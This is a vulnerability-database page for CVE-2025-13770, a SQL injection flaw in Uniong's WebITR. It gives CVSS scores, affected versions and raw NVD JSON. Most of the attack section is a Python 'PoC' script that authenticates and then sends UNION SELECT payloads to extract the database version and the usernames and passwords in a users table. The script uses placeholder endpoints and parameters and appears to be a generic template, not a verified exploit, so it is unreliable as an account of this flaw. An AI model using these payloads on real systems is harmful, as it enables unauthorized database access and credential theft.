Security Vulnerability Report
中文
CVE-2025-13770 CVSS 6.5 MEDIUM

CVE-2025-13770

Published: 2025-11-28 08:15:54
Last Modified: 2025-12-01 14:39:00

Description

WebITR developed by Uniong has a SQL Injection vulnerability, allowing authenticated remote attackers to inject arbitrary SQL commands to read database contents.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:uniong:webitr:*:*:*:*:*:*:*:* - VULNERABLE
WebITR (Uniong) - 所有未修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-13770 SQL Injection PoC for WebITR # Target: WebITR application by Uniong # Vulnerability: SQL Injection in authenticated module target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-website.com" username = sys.argv[2] if len(sys.argv) > 2 else "lowpriv_user" password = sys.argv[3] if len(sys.argv) > 3 else "password123" # Step 1: Authenticate to get session session = requests.Session() login_data = { "username": username, "password": password } login_response = session.post(f"{target_url}/login", data=login_data) if login_response.status_code != 200: print("[-] Authentication failed") exit(1) print("[+] Authentication successful") # Step 2: Exploit SQL Injection # Payload to extract database version and current user sql_payload = "' UNION SELECT NULL,@@version,user(),NULL--" injection_params = { "parameter": sql_payload } response = session.get(f"{target_url}/vulnerable_endpoint", params=injection_params) if "5." in response.text or "8." in response.text: print("[+] SQL Injection successful - Database info extracted") print(f"[*] Response contains: {response.text[:500]}") else: print("[-] SQL Injection may have failed or no data returned") # Step 3: Extract database contents (example: users table) extract_payload = "' UNION SELECT NULL,username,password,NULL FROM users--" extraction_params = { "parameter": extract_payload } response = session.get(f"{target_url}/vulnerable_endpoint", params=extraction_params) print(f"[*] Extracted data: {response.text[:1000]}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13770", "sourceIdentifier": "[email protected]", "published": "2025-11-28T08:15:53.930", "lastModified": "2025-12-01T14:38:59.533", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WebITR developed by Uniong has a SQL Injection vulnerability, allowing authenticated remote attackers to inject arbitrary SQL commands to read database contents."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uniong:webitr:*:*:*:*:*:*:*:*", "versionEndExcluding": "2_1_0_34", "matchCriteriaId": "414A6A7A-9CC4-4D2E-9AB4-33D5E86C8BA8"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10539-21f45-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10538-6a26d-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}